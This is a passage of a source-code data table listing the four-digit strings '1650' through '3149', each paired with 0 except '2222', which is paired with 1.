{ "1650", 0 }, { "1651", 0 }, { "1652", 0 }, { "1653", 0 }, { "1654", 0 }, { "1655", 0 }, { "1656", 0 }, { "1657", 0 }, { "1658", 0 }, { "1659", 0 }, { "1660", 0 }, { "1661", 0 }, { "1662", 0 }, { "1663", 0 }, { "1664", 0 }, { "1665", 0 }, { "1666", 0 }, { "1667", 0 }, { "1668", 0 }, { "1669", 0 }, { "1670", 0 }, { "1671", 0 }, { "1672", 0 }, { "1673", 0 }, { "1674", 0 }, { "1675", 0 }, { "1676", 0 }, { "1677", 0 }, { "1678", 0 }, { "1679", 0 }, { "1680", 0 }, { "1681", 0 }, { "1682", 0 }, { "1683", 0 }, { "1684", 0 }, { "1685", 0 }, { "1686", 0 }, { "1687", 0 }, { "1688", 0 }, { "1689", 0 }, { "1690", 0 }, { "1691", 0 }, { "1692", 0 }, { "1693", 0 }, { "1694", 0 }, { "1695", 0 }, { "1696", 0 }, { "1697", 0 }, { "1698", 0 }, { "1699", 0 }, { "1700", 0 }, { "1701", 0 }, { "1702", 0 }, { "1703", 0 }, { "1704", 0 }, { "1705", 0 }, { "1706", 0 }, { "1707", 0 }, { "1708", 0 }, { "1709", 0 }, { "1710", 0 }, { "1711", 0 }, { "1712", 0 }, { "1713", 0 }, { "1714", 0 }, { "1715", 0 }, { "1716", 0 }, { "1717", 0 }, { "1718", 0 }, { "1719", 0 }, { "1720", 0 }, { "1721", 0 }, { "1722", 0 }, { "1723", 0 }, { "1724", 0 }, { "1725", 0 }, { "1726", 0 }, { "1727", 0 }, { "1728", 0 }, { "1729", 0 }, { "1730", 0 }, { "1731", 0 }, { "1732", 0 }, { "1733", 0 }, { "1734", 0 }, { "1735", 0 }, { "1736", 0 }, { "1737", 0 }, { "1738", 0 }, { "1739", 0 }, { "1740", 0 }, { "1741", 0 }, { "1742", 0 }, { "1743", 0 }, { "1744", 0 }, { "1745", 0 }, { "1746", 0 }, { "1747", 0 }, { "1748", 0 }, { "1749", 0 }, { "1750", 0 }, { "1751", 0 }, { "1752", 0 }, { "1753", 0 }, { "1754", 0 }, { "1755", 0 }, { "1756", 0 }, { "1757", 0 }, { "1758", 0 }, { "1759", 0 }, { "1760", 0 }, { "1761", 0 }, { "1762", 0 }, { "1763", 0 }, { "1764", 0 }, { "1765", 0 }, { "1766", 0 }, { "1767", 0 }, { "1768", 0 }, { "1769", 0 }, { "1770", 0 }, { "1771", 0 }, { "1772", 0 }, { "1773", 0 }, { "1774", 0 }, { "1775", 0 }, { "1776", 0 }, { "1777", 0 }, { "1778", 0 }, { "1779", 0 }, { "1780", 0 }, { "1781", 0 }, { "1782", 0 }, { "1783", 0 }, { "1784", 0 }, { "1785", 0 }, { "1786", 0 }, { "1787", 0 }, { "1788", 0 }, { "1789", 0 }, { "1790", 0 }, { "1791", 0 }, { "1792", 0 }, { "1793", 0 }, { "1794", 0 }, { "1795", 0 }, { "1796", 0 }, { "1797", 0 }, { "1798", 0 }, { "1799", 0 }, { "1800", 0 }, { "1801", 0 }, { "1802", 0 }, { "1803", 0 }, { "1804", 0 }, { "1805", 0 }, { "1806", 0 }, { "1807", 0 }, { "1808", 0 }, { "1809", 0 }, { "1810", 0 }, { "1811", 0 }, { "1812", 0 }, { "1813", 0 }, { "1814", 0 }, { "1815", 0 }, { "1816", 0 }, { "1817", 0 }, { "1818", 0 }, { "1819", 0 }, { "1820", 0 }, { "1821", 0 }, { "1822", 0 }, { "1823", 0 }, { "1824", 0 }, { "1825", 0 }, { "1826", 0 }, { "1827", 0 }, { "1828", 0 }, { "1829", 0 }, { "1830", 0 }, { "1831", 0 }, { "1832", 0 }, { "1833", 0 }, { "1834", 0 }, { "1835", 0 }, { "1836", 0 }, { "1837", 0 }, { "1838", 0 }, { "1839", 0 }, { "1840", 0 }, { "1841", 0 }, { "1842", 0 }, { "1843", 0 }, { "1844", 0 }, { "1845", 0 }, { "1846", 0 }, { "1847", 0 }, { "1848", 0 }, { "1849", 0 }, { "1850", 0 }, { "1851", 0 }, { "1852", 0 }, { "1853", 0 }, { "1854", 0 }, { "1855", 0 }, { "1856", 0 }, { "1857", 0 }, { "1858", 0 }, { "1859", 0 }, { "1860", 0 }, { "1861", 0 }, { "1862", 0 }, { "1863", 0 }, { "1864", 0 }, { "1865", 0 }, { "1866", 0 }, { "1867", 0 }, { "1868", 0 }, { "1869", 0 }, { "1870", 0 }, { "1871", 0 }, { "1872", 0 }, { "1873", 0 }, { "1874", 0 }, { "1875", 0 }, { "1876", 0 }, { "1877", 0 }, { "1878", 0 }, { "1879", 0 }, { "1880", 0 }, { "1881", 0 }, { "1882", 0 }, { "1883", 0 }, { "1884", 0 }, { "1885", 0 }, { "1886", 0 }, { "1887", 0 }, { "1888", 0 }, { "1889", 0 }, { "1890", 0 }, { "1891", 0 }, { "1892", 0 }, { "1893", 0 }, { "1894", 0 }, { "1895", 0 }, { "1896", 0 }, { "1897", 0 }, { "1898", 0 }, { "1899", 0 }, { "1900", 0 }, { "1901", 0 }, { "1902", 0 }, { "1903", 0 }, { "1904", 0 }, { "1905", 0 }, { "1906", 0 }, { "1907", 0 }, { "1908", 0 }, { "1909", 0 }, { "1910", 0 }, { "1911", 0 }, { "1912", 0 }, { "1913", 0 }, { "1914", 0 }, { "1915", 0 }, { "1916", 0 }, { "1917", 0 }, { "1918", 0 }, { "1919", 0 }, { "1920", 0 }, { "1921", 0 }, { "1922", 0 }, { "1923", 0 }, { "1924", 0 }, { "1925", 0 }, { "1926", 0 }, { "1927", 0 }, { "1928", 0 }, { "1929", 0 }, { "1930", 0 }, { "1931", 0 }, { "1932", 0 }, { "1933", 0 }, { "1934", 0 }, { "1935", 0 }, { "1936", 0 }, { "1937", 0 }, { "1938", 0 }, { "1939", 0 }, { "1940", 0 }, { "1941", 0 }, { "1942", 0 }, { "1943", 0 }, { "1944", 0 }, { "1945", 0 }, { "1946", 0 }, { "1947", 0 }, { "1948", 0 }, { "1949", 0 }, { "1950", 0 }, { "1951", 0 }, { "1952", 0 }, { "1953", 0 }, { "1954", 0 }, { "1955", 0 }, { "1956", 0 }, { "1957", 0 }, { "1958", 0 }, { "1959", 0 }, { "1960", 0 }, { "1961", 0 }, { "1962", 0 }, { "1963", 0 }, { "1964", 0 }, { "1965", 0 }, { "1966", 0 }, { "1967", 0 }, { "1968", 0 }, { "1969", 0 }, { "1970", 0 }, { "1971", 0 }, { "1972", 0 }, { "1973", 0 }, { "1974", 0 }, { "1975", 0 }, { "1976", 0 }, { "1977", 0 }, { "1978", 0 }, { "1979", 0 }, { "1980", 0 }, { "1981", 0 }, { "1982", 0 }, { "1983", 0 }, { "1984", 0 }, { "1985", 0 }, { "1986", 0 }, { "1987", 0 }, { "1988", 0 }, { "1989", 0 }, { "1990", 0 }, { "1991", 0 }, { "1992", 0 }, { "1993", 0 }, { "1994", 0 }, { "1995", 0 }, { "1996", 0 }, { "1997", 0 }, { "1998", 0 }, { "1999", 0 }, { "2000", 0 }, { "2001", 0 }, { "2002", 0 }, { "2003", 0 }, { "2004", 0 }, { "2005", 0 }, { "2006", 0 }, { "2007", 0 }, { "2008", 0 }, { "2009", 0 }, { "2010", 0 }, { "2011", 0 }, { "2012", 0 }, { "2013", 0 }, { "2014", 0 }, { "2015", 0 }, { "2016", 0 }, { "2017", 0 }, { "2018", 0 }, { "2019", 0 }, { "2020", 0 }, { "2021", 0 }, { "2022", 0 }, { "2023", 0 }, { "2024", 0 }, { "2025", 0 }, { "2026", 0 }, { "2027", 0 }, { "2028", 0 }, { "2029", 0 }, { "2030", 0 }, { "2031", 0 }, { "2032", 0 }, { "2033", 0 }, { "2034", 0 }, { "2035", 0 }, { "2036", 0 }, { "2037", 0 }, { "2038", 0 }, { "2039", 0 }, { "2040", 0 }, { "2041", 0 }, { "2042", 0 }, { "2043", 0 }, { "2044", 0 }, { "2045", 0 }, { "2046", 0 }, { "2047", 0 }, { "2048", 0 }, { "2049", 0 }, { "2050", 0 }, { "2051", 0 }, { "2052", 0 }, { "2053", 0 }, { "2054", 0 }, { "2055", 0 }, { "2056", 0 }, { "2057", 0 }, { "2058", 0 }, { "2059", 0 }, { "2060", 0 }, { "2061", 0 }, { "2062", 0 }, { "2063", 0 }, { "2064", 0 }, { "2065", 0 }, { "2066", 0 }, { "2067", 0 }, { "2068", 0 }, { "2069", 0 }, { "2070", 0 }, { "2071", 0 }, { "2072", 0 }, { "2073", 0 }, { "2074", 0 }, { "2075", 0 }, { "2076", 0 }, { "2077", 0 }, { "2078", 0 }, { "2079", 0 }, { "2080", 0 }, { "2081", 0 }, { "2082", 0 }, { "2083", 0 }, { "2084", 0 }, { "2085", 0 }, { "2086", 0 }, { "2087", 0 }, { "2088", 0 }, { "2089", 0 }, { "2090", 0 }, { "2091", 0 }, { "2092", 0 }, { "2093", 0 }, { "2094", 0 }, { "2095", 0 }, { "2096", 0 }, { "2097", 0 }, { "2098", 0 }, { "2099", 0 }, { "2100", 0 }, { "2101", 0 }, { "2102", 0 }, { "2103", 0 }, { "2104", 0 }, { "2105", 0 }, { "2106", 0 }, { "2107", 0 }, { "2108", 0 }, { "2109", 0 }, { "2110", 0 }, { "2111", 0 }, { "2112", 0 }, { "2113", 0 }, { "2114", 0 }, { "2115", 0 }, { "2116", 0 }, { "2117", 0 }, { "2118", 0 }, { "2119", 0 }, { "2120", 0 }, { "2121", 0 }, { "2122", 0 }, { "2123", 0 }, { "2124", 0 }, { "2125", 0 }, { "2126", 0 }, { "2127", 0 }, { "2128", 0 }, { "2129", 0 }, { "2130", 0 }, { "2131", 0 }, { "2132", 0 }, { "2133", 0 }, { "2134", 0 }, { "2135", 0 }, { "2136", 0 }, { "2137", 0 }, { "2138", 0 }, { "2139", 0 }, { "2140", 0 }, { "2141", 0 }, { "2142", 0 }, { "2143", 0 }, { "2144", 0 }, { "2145", 0 }, { "2146", 0 }, { "2147", 0 }, { "2148", 0 }, { "2149", 0 }, { "2150", 0 }, { "2151", 0 }, { "2152", 0 }, { "2153", 0 }, { "2154", 0 }, { "2155", 0 }, { "2156", 0 }, { "2157", 0 }, { "2158", 0 }, { "2159", 0 }, { "2160", 0 }, { "2161", 0 }, { "2162", 0 }, { "2163", 0 }, { "2164", 0 }, { "2165", 0 }, { "2166", 0 }, { "2167", 0 }, { "2168", 0 }, { "2169", 0 }, { "2170", 0 }, { "2171", 0 }, { "2172", 0 }, { "2173", 0 }, { "2174", 0 }, { "2175", 0 }, { "2176", 0 }, { "2177", 0 }, { "2178", 0 }, { "2179", 0 }, { "2180", 0 }, { "2181", 0 }, { "2182", 0 }, { "2183", 0 }, { "2184", 0 }, { "2185", 0 }, { "2186", 0 }, { "2187", 0 }, { "2188", 0 }, { "2189", 0 }, { "2190", 0 }, { "2191", 0 }, { "2192", 0 }, { "2193", 0 }, { "2194", 0 }, { "2195", 0 }, { "2196", 0 }, { "2197", 0 }, { "2198", 0 }, { "2199", 0 }, { "2200", 0 }, { "2201", 0 }, { "2202", 0 }, { "2203", 0 }, { "2204", 0 }, { "2205", 0 }, { "2206", 0 }, { "2207", 0 }, { "2208", 0 }, { "2209", 0 }, { "2210", 0 }, { "2211", 0 }, { "2212", 0 }, { "2213", 0 }, { "2214", 0 }, { "2215", 0 }, { "2216", 0 }, { "2217", 0 }, { "2218", 0 }, { "2219", 0 }, { "2220", 0 }, { "2221", 0 }, { "2222", 1 }, { "2223", 0 }, { "2224", 0 }, { "2225", 0 }, { "2226", 0 }, { "2227", 0 }, { "2228", 0 }, { "2229", 0 }, { "2230", 0 }, { "2231", 0 }, { "2232", 0 }, { "2233", 0 }, { "2234", 0 }, { "2235", 0 }, { "2236", 0 }, { "2237", 0 }, { "2238", 0 }, { "2239", 0 }, { "2240", 0 }, { "2241", 0 }, { "2242", 0 }, { "2243", 0 }, { "2244", 0 }, { "2245", 0 }, { "2246", 0 }, { "2247", 0 }, { "2248", 0 }, { "2249", 0 }, { "2250", 0 }, { "2251", 0 }, { "2252", 0 }, { "2253", 0 }, { "2254", 0 }, { "2255", 0 }, { "2256", 0 }, { "2257", 0 }, { "2258", 0 }, { "2259", 0 }, { "2260", 0 }, { "2261", 0 }, { "2262", 0 }, { "2263", 0 }, { "2264", 0 }, { "2265", 0 }, { "2266", 0 }, { "2267", 0 }, { "2268", 0 }, { "2269", 0 }, { "2270", 0 }, { "2271", 0 }, { "2272", 0 }, { "2273", 0 }, { "2274", 0 }, { "2275", 0 }, { "2276", 0 }, { "2277", 0 }, { "2278", 0 }, { "2279", 0 }, { "2280", 0 }, { "2281", 0 }, { "2282", 0 }, { "2283", 0 }, { "2284", 0 }, { "2285", 0 }, { "2286", 0 }, { "2287", 0 }, { "2288", 0 }, { "2289", 0 }, { "2290", 0 }, { "2291", 0 }, { "2292", 0 }, { "2293", 0 }, { "2294", 0 }, { "2295", 0 }, { "2296", 0 }, { "2297", 0 }, { "2298", 0 }, { "2299", 0 }, { "2300", 0 }, { "2301", 0 }, { "2302", 0 }, { "2303", 0 }, { "2304", 0 }, { "2305", 0 }, { "2306", 0 }, { "2307", 0 }, { "2308", 0 }, { "2309", 0 }, { "2310", 0 }, { "2311", 0 }, { "2312", 0 }, { "2313", 0 }, { "2314", 0 }, { "2315", 0 }, { "2316", 0 }, { "2317", 0 }, { "2318", 0 }, { "2319", 0 }, { "2320", 0 }, { "2321", 0 }, { "2322", 0 }, { "2323", 0 }, { "2324", 0 }, { "2325", 0 }, { "2326", 0 }, { "2327", 0 }, { "2328", 0 }, { "2329", 0 }, { "2330", 0 }, { "2331", 0 }, { "2332", 0 }, { "2333", 0 }, { "2334", 0 }, { "2335", 0 }, { "2336", 0 }, { "2337", 0 }, { "2338", 0 }, { "2339", 0 }, { "2340", 0 }, { "2341", 0 }, { "2342", 0 }, { "2343", 0 }, { "2344", 0 }, { "2345", 0 }, { "2346", 0 }, { "2347", 0 }, { "2348", 0 }, { "2349", 0 }, { "2350", 0 }, { "2351", 0 }, { "2352", 0 }, { "2353", 0 }, { "2354", 0 }, { "2355", 0 }, { "2356", 0 }, { "2357", 0 }, { "2358", 0 }, { "2359", 0 }, { "2360", 0 }, { "2361", 0 }, { "2362", 0 }, { "2363", 0 }, { "2364", 0 }, { "2365", 0 }, { "2366", 0 }, { "2367", 0 }, { "2368", 0 }, { "2369", 0 }, { "2370", 0 }, { "2371", 0 }, { "2372", 0 }, { "2373", 0 }, { "2374", 0 }, { "2375", 0 }, { "2376", 0 }, { "2377", 0 }, { "2378", 0 }, { "2379", 0 }, { "2380", 0 }, { "2381", 0 }, { "2382", 0 }, { "2383", 0 }, { "2384", 0 }, { "2385", 0 }, { "2386", 0 }, { "2387", 0 }, { "2388", 0 }, { "2389", 0 }, { "2390", 0 }, { "2391", 0 }, { "2392", 0 }, { "2393", 0 }, { "2394", 0 }, { "2395", 0 }, { "2396", 0 }, { "2397", 0 }, { "2398", 0 }, { "2399", 0 }, { "2400", 0 }, { "2401", 0 }, { "2402", 0 }, { "2403", 0 }, { "2404", 0 }, { "2405", 0 }, { "2406", 0 }, { "2407", 0 }, { "2408", 0 }, { "2409", 0 }, { "2410", 0 }, { "2411", 0 }, { "2412", 0 }, { "2413", 0 }, { "2414", 0 }, { "2415", 0 }, { "2416", 0 }, { "2417", 0 }, { "2418", 0 }, { "2419", 0 }, { "2420", 0 }, { "2421", 0 }, { "2422", 0 }, { "2423", 0 }, { "2424", 0 }, { "2425", 0 }, { "2426", 0 }, { "2427", 0 }, { "2428", 0 }, { "2429", 0 }, { "2430", 0 }, { "2431", 0 }, { "2432", 0 }, { "2433", 0 }, { "2434", 0 }, { "2435", 0 }, { "2436", 0 }, { "2437", 0 }, { "2438", 0 }, { "2439", 0 }, { "2440", 0 }, { "2441", 0 }, { "2442", 0 }, { "2443", 0 }, { "2444", 0 }, { "2445", 0 }, { "2446", 0 }, { "2447", 0 }, { "2448", 0 }, { "2449", 0 }, { "2450", 0 }, { "2451", 0 }, { "2452", 0 }, { "2453", 0 }, { "2454", 0 }, { "2455", 0 }, { "2456", 0 }, { "2457", 0 }, { "2458", 0 }, { "2459", 0 }, { "2460", 0 }, { "2461", 0 }, { "2462", 0 }, { "2463", 0 }, { "2464", 0 }, { "2465", 0 }, { "2466", 0 }, { "2467", 0 }, { "2468", 0 }, { "2469", 0 }, { "2470", 0 }, { "2471", 0 }, { "2472", 0 }, { "2473", 0 }, { "2474", 0 }, { "2475", 0 }, { "2476", 0 }, { "2477", 0 }, { "2478", 0 }, { "2479", 0 }, { "2480", 0 }, { "2481", 0 }, { "2482", 0 }, { "2483", 0 }, { "2484", 0 }, { "2485", 0 }, { "2486", 0 }, { "2487", 0 }, { "2488", 0 }, { "2489", 0 }, { "2490", 0 }, { "2491", 0 }, { "2492", 0 }, { "2493", 0 }, { "2494", 0 }, { "2495", 0 }, { "2496", 0 }, { "2497", 0 }, { "2498", 0 }, { "2499", 0 }, { "2500", 0 }, { "2501", 0 }, { "2502", 0 }, { "2503", 0 }, { "2504", 0 }, { "2505", 0 }, { "2506", 0 }, { "2507", 0 }, { "2508", 0 }, { "2509", 0 }, { "2510", 0 }, { "2511", 0 }, { "2512", 0 }, { "2513", 0 }, { "2514", 0 }, { "2515", 0 }, { "2516", 0 }, { "2517", 0 }, { "2518", 0 }, { "2519", 0 }, { "2520", 0 }, { "2521", 0 }, { "2522", 0 }, { "2523", 0 }, { "2524", 0 }, { "2525", 0 }, { "2526", 0 }, { "2527", 0 }, { "2528", 0 }, { "2529", 0 }, { "2530", 0 }, { "2531", 0 }, { "2532", 0 }, { "2533", 0 }, { "2534", 0 }, { "2535", 0 }, { "2536", 0 }, { "2537", 0 }, { "2538", 0 }, { "2539", 0 }, { "2540", 0 }, { "2541", 0 }, { "2542", 0 }, { "2543", 0 }, { "2544", 0 }, { "2545", 0 }, { "2546", 0 }, { "2547", 0 }, { "2548", 0 }, { "2549", 0 }, { "2550", 0 }, { "2551", 0 }, { "2552", 0 }, { "2553", 0 }, { "2554", 0 }, { "2555", 0 }, { "2556", 0 }, { "2557", 0 }, { "2558", 0 }, { "2559", 0 }, { "2560", 0 }, { "2561", 0 }, { "2562", 0 }, { "2563", 0 }, { "2564", 0 }, { "2565", 0 }, { "2566", 0 }, { "2567", 0 }, { "2568", 0 }, { "2569", 0 }, { "2570", 0 }, { "2571", 0 }, { "2572", 0 }, { "2573", 0 }, { "2574", 0 }, { "2575", 0 }, { "2576", 0 }, { "2577", 0 }, { "2578", 0 }, { "2579", 0 }, { "2580", 0 }, { "2581", 0 }, { "2582", 0 }, { "2583", 0 }, { "2584", 0 }, { "2585", 0 }, { "2586", 0 }, { "2587", 0 }, { "2588", 0 }, { "2589", 0 }, { "2590", 0 }, { "2591", 0 }, { "2592", 0 }, { "2593", 0 }, { "2594", 0 }, { "2595", 0 }, { "2596", 0 }, { "2597", 0 }, { "2598", 0 }, { "2599", 0 }, { "2600", 0 }, { "2601", 0 }, { "2602", 0 }, { "2603", 0 }, { "2604", 0 }, { "2605", 0 }, { "2606", 0 }, { "2607", 0 }, { "2608", 0 }, { "2609", 0 }, { "2610", 0 }, { "2611", 0 }, { "2612", 0 }, { "2613", 0 }, { "2614", 0 }, { "2615", 0 }, { "2616", 0 }, { "2617", 0 }, { "2618", 0 }, { "2619", 0 }, { "2620", 0 }, { "2621", 0 }, { "2622", 0 }, { "2623", 0 }, { "2624", 0 }, { "2625", 0 }, { "2626", 0 }, { "2627", 0 }, { "2628", 0 }, { "2629", 0 }, { "2630", 0 }, { "2631", 0 }, { "2632", 0 }, { "2633", 0 }, { "2634", 0 }, { "2635", 0 }, { "2636", 0 }, { "2637", 0 }, { "2638", 0 }, { "2639", 0 }, { "2640", 0 }, { "2641", 0 }, { "2642", 0 }, { "2643", 0 }, { "2644", 0 }, { "2645", 0 }, { "2646", 0 }, { "2647", 0 }, { "2648", 0 }, { "2649", 0 }, { "2650", 0 }, { "2651", 0 }, { "2652", 0 }, { "2653", 0 }, { "2654", 0 }, { "2655", 0 }, { "2656", 0 }, { "2657", 0 }, { "2658", 0 }, { "2659", 0 }, { "2660", 0 }, { "2661", 0 }, { "2662", 0 }, { "2663", 0 }, { "2664", 0 }, { "2665", 0 }, { "2666", 0 }, { "2667", 0 }, { "2668", 0 }, { "2669", 0 }, { "2670", 0 }, { "2671", 0 }, { "2672", 0 }, { "2673", 0 }, { "2674", 0 }, { "2675", 0 }, { "2676", 0 }, { "2677", 0 }, { "2678", 0 }, { "2679", 0 }, { "2680", 0 }, { "2681", 0 }, { "2682", 0 }, { "2683", 0 }, { "2684", 0 }, { "2685", 0 }, { "2686", 0 }, { "2687", 0 }, { "2688", 0 }, { "2689", 0 }, { "2690", 0 }, { "2691", 0 }, { "2692", 0 }, { "2693", 0 }, { "2694", 0 }, { "2695", 0 }, { "2696", 0 }, { "2697", 0 }, { "2698", 0 }, { "2699", 0 }, { "2700", 0 }, { "2701", 0 }, { "2702", 0 }, { "2703", 0 }, { "2704", 0 }, { "2705", 0 }, { "2706", 0 }, { "2707", 0 }, { "2708", 0 }, { "2709", 0 }, { "2710", 0 }, { "2711", 0 }, { "2712", 0 }, { "2713", 0 }, { "2714", 0 }, { "2715", 0 }, { "2716", 0 }, { "2717", 0 }, { "2718", 0 }, { "2719", 0 }, { "2720", 0 }, { "2721", 0 }, { "2722", 0 }, { "2723", 0 }, { "2724", 0 }, { "2725", 0 }, { "2726", 0 }, { "2727", 0 }, { "2728", 0 }, { "2729", 0 }, { "2730", 0 }, { "2731", 0 }, { "2732", 0 }, { "2733", 0 }, { "2734", 0 }, { "2735", 0 }, { "2736", 0 }, { "2737", 0 }, { "2738", 0 }, { "2739", 0 }, { "2740", 0 }, { "2741", 0 }, { "2742", 0 }, { "2743", 0 }, { "2744", 0 }, { "2745", 0 }, { "2746", 0 }, { "2747", 0 }, { "2748", 0 }, { "2749", 0 }, { "2750", 0 }, { "2751", 0 }, { "2752", 0 }, { "2753", 0 }, { "2754", 0 }, { "2755", 0 }, { "2756", 0 }, { "2757", 0 }, { "2758", 0 }, { "2759", 0 }, { "2760", 0 }, { "2761", 0 }, { "2762", 0 }, { "2763", 0 }, { "2764", 0 }, { "2765", 0 }, { "2766", 0 }, { "2767", 0 }, { "2768", 0 }, { "2769", 0 }, { "2770", 0 }, { "2771", 0 }, { "2772", 0 }, { "2773", 0 }, { "2774", 0 }, { "2775", 0 }, { "2776", 0 }, { "2777", 0 }, { "2778", 0 }, { "2779", 0 }, { "2780", 0 }, { "2781", 0 }, { "2782", 0 }, { "2783", 0 }, { "2784", 0 }, { "2785", 0 }, { "2786", 0 }, { "2787", 0 }, { "2788", 0 }, { "2789", 0 }, { "2790", 0 }, { "2791", 0 }, { "2792", 0 }, { "2793", 0 }, { "2794", 0 }, { "2795", 0 }, { "2796", 0 }, { "2797", 0 }, { "2798", 0 }, { "2799", 0 }, { "2800", 0 }, { "2801", 0 }, { "2802", 0 }, { "2803", 0 }, { "2804", 0 }, { "2805", 0 }, { "2806", 0 }, { "2807", 0 }, { "2808", 0 }, { "2809", 0 }, { "2810", 0 }, { "2811", 0 }, { "2812", 0 }, { "2813", 0 }, { "2814", 0 }, { "2815", 0 }, { "2816", 0 }, { "2817", 0 }, { "2818", 0 }, { "2819", 0 }, { "2820", 0 }, { "2821", 0 }, { "2822", 0 }, { "2823", 0 }, { "2824", 0 }, { "2825", 0 }, { "2826", 0 }, { "2827", 0 }, { "2828", 0 }, { "2829", 0 }, { "2830", 0 }, { "2831", 0 }, { "2832", 0 }, { "2833", 0 }, { "2834", 0 }, { "2835", 0 }, { "2836", 0 }, { "2837", 0 }, { "2838", 0 }, { "2839", 0 }, { "2840", 0 }, { "2841", 0 }, { "2842", 0 }, { "2843", 0 }, { "2844", 0 }, { "2845", 0 }, { "2846", 0 }, { "2847", 0 }, { "2848", 0 }, { "2849", 0 }, { "2850", 0 }, { "2851", 0 }, { "2852", 0 }, { "2853", 0 }, { "2854", 0 }, { "2855", 0 }, { "2856", 0 }, { "2857", 0 }, { "2858", 0 }, { "2859", 0 }, { "2860", 0 }, { "2861", 0 }, { "2862", 0 }, { "2863", 0 }, { "2864", 0 }, { "2865", 0 }, { "2866", 0 }, { "2867", 0 }, { "2868", 0 }, { "2869", 0 }, { "2870", 0 }, { "2871", 0 }, { "2872", 0 }, { "2873", 0 }, { "2874", 0 }, { "2875", 0 }, { "2876", 0 }, { "2877", 0 }, { "2878", 0 }, { "2879", 0 }, { "2880", 0 }, { "2881", 0 }, { "2882", 0 }, { "2883", 0 }, { "2884", 0 }, { "2885", 0 }, { "2886", 0 }, { "2887", 0 }, { "2888", 0 }, { "2889", 0 }, { "2890", 0 }, { "2891", 0 }, { "2892", 0 }, { "2893", 0 }, { "2894", 0 }, { "2895", 0 }, { "2896", 0 }, { "2897", 0 }, { "2898", 0 }, { "2899", 0 }, { "2900", 0 }, { "2901", 0 }, { "2902", 0 }, { "2903", 0 }, { "2904", 0 }, { "2905", 0 }, { "2906", 0 }, { "2907", 0 }, { "2908", 0 }, { "2909", 0 }, { "2910", 0 }, { "2911", 0 }, { "2912", 0 }, { "2913", 0 }, { "2914", 0 }, { "2915", 0 }, { "2916", 0 }, { "2917", 0 }, { "2918", 0 }, { "2919", 0 }, { "2920", 0 }, { "2921", 0 }, { "2922", 0 }, { "2923", 0 }, { "2924", 0 }, { "2925", 0 }, { "2926", 0 }, { "2927", 0 }, { "2928", 0 }, { "2929", 0 }, { "2930", 0 }, { "2931", 0 }, { "2932", 0 }, { "2933", 0 }, { "2934", 0 }, { "2935", 0 }, { "2936", 0 }, { "2937", 0 }, { "2938", 0 }, { "2939", 0 }, { "2940", 0 }, { "2941", 0 }, { "2942", 0 }, { "2943", 0 }, { "2944", 0 }, { "2945", 0 }, { "2946", 0 }, { "2947", 0 }, { "2948", 0 }, { "2949", 0 }, { "2950", 0 }, { "2951", 0 }, { "2952", 0 }, { "2953", 0 }, { "2954", 0 }, { "2955", 0 }, { "2956", 0 }, { "2957", 0 }, { "2958", 0 }, { "2959", 0 }, { "2960", 0 }, { "2961", 0 }, { "2962", 0 }, { "2963", 0 }, { "2964", 0 }, { "2965", 0 }, { "2966", 0 }, { "2967", 0 }, { "2968", 0 }, { "2969", 0 }, { "2970", 0 }, { "2971", 0 }, { "2972", 0 }, { "2973", 0 }, { "2974", 0 }, { "2975", 0 }, { "2976", 0 }, { "2977", 0 }, { "2978", 0 }, { "2979", 0 }, { "2980", 0 }, { "2981", 0 }, { "2982", 0 }, { "2983", 0 }, { "2984", 0 }, { "2985", 0 }, { "2986", 0 }, { "2987", 0 }, { "2988", 0 }, { "2989", 0 }, { "2990", 0 }, { "2991", 0 }, { "2992", 0 }, { "2993", 0 }, { "2994", 0 }, { "2995", 0 }, { "2996", 0 }, { "2997", 0 }, { "2998", 0 }, { "2999", 0 }, { "3000", 0 }, { "3001", 0 }, { "3002", 0 }, { "3003", 0 }, { "3004", 0 }, { "3005", 0 }, { "3006", 0 }, { "3007", 0 }, { "3008", 0 }, { "3009", 0 }, { "3010", 0 }, { "3011", 0 }, { "3012", 0 }, { "3013", 0 }, { "3014", 0 }, { "3015", 0 }, { "3016", 0 }, { "3017", 0 }, { "3018", 0 }, { "3019", 0 }, { "3020", 0 }, { "3021", 0 }, { "3022", 0 }, { "3023", 0 }, { "3024", 0 }, { "3025", 0 }, { "3026", 0 }, { "3027", 0 }, { "3028", 0 }, { "3029", 0 }, { "3030", 0 }, { "3031", 0 }, { "3032", 0 }, { "3033", 0 }, { "3034", 0 }, { "3035", 0 }, { "3036", 0 }, { "3037", 0 }, { "3038", 0 }, { "3039", 0 }, { "3040", 0 }, { "3041", 0 }, { "3042", 0 }, { "3043", 0 }, { "3044", 0 }, { "3045", 0 }, { "3046", 0 }, { "3047", 0 }, { "3048", 0 }, { "3049", 0 }, { "3050", 0 }, { "3051", 0 }, { "3052", 0 }, { "3053", 0 }, { "3054", 0 }, { "3055", 0 }, { "3056", 0 }, { "3057", 0 }, { "3058", 0 }, { "3059", 0 }, { "3060", 0 }, { "3061", 0 }, { "3062", 0 }, { "3063", 0 }, { "3064", 0 }, { "3065", 0 }, { "3066", 0 }, { "3067", 0 }, { "3068", 0 }, { "3069", 0 }, { "3070", 0 }, { "3071", 0 }, { "3072", 0 }, { "3073", 0 }, { "3074", 0 }, { "3075", 0 }, { "3076", 0 }, { "3077", 0 }, { "3078", 0 }, { "3079", 0 }, { "3080", 0 }, { "3081", 0 }, { "3082", 0 }, { "3083", 0 }, { "3084", 0 }, { "3085", 0 }, { "3086", 0 }, { "3087", 0 }, { "3088", 0 }, { "3089", 0 }, { "3090", 0 }, { "3091", 0 }, { "3092", 0 }, { "3093", 0 }, { "3094", 0 }, { "3095", 0 }, { "3096", 0 }, { "3097", 0 }, { "3098", 0 }, { "3099", 0 }, { "3100", 0 }, { "3101", 0 }, { "3102", 0 }, { "3103", 0 }, { "3104", 0 }, { "3105", 0 }, { "3106", 0 }, { "3107", 0 }, { "3108", 0 }, { "3109", 0 }, { "3110", 0 }, { "3111", 0 }, { "3112", 0 }, { "3113", 0 }, { "3114", 0 }, { "3115", 0 }, { "3116", 0 }, { "3117", 0 }, { "3118", 0 }, { "3119", 0 }, { "3120", 0 }, { "3121", 0 }, { "3122", 0 }, { "3123", 0 }, { "3124", 0 }, { "3125", 0 }, { "3126", 0 }, { "3127", 0 }, { "3128", 0 }, { "3129", 0 }, { "3130", 0 }, { "3131", 0 }, { "3132", 0 }, { "3133", 0 }, { "3134", 0 }, { "3135", 0 }, { "3136", 0 }, { "3137", 0 }, { "3138", 0 }, { "3139", 0 }, { "3140", 0 }, { "3141", 0 }, { "3142", 0 }, { "3143", 0 }, { "3144", 0 }, { "3145", 0 }, { "3146", 0 }, { "3147", 0 }, { "3148", 0 }, { "3149", 0 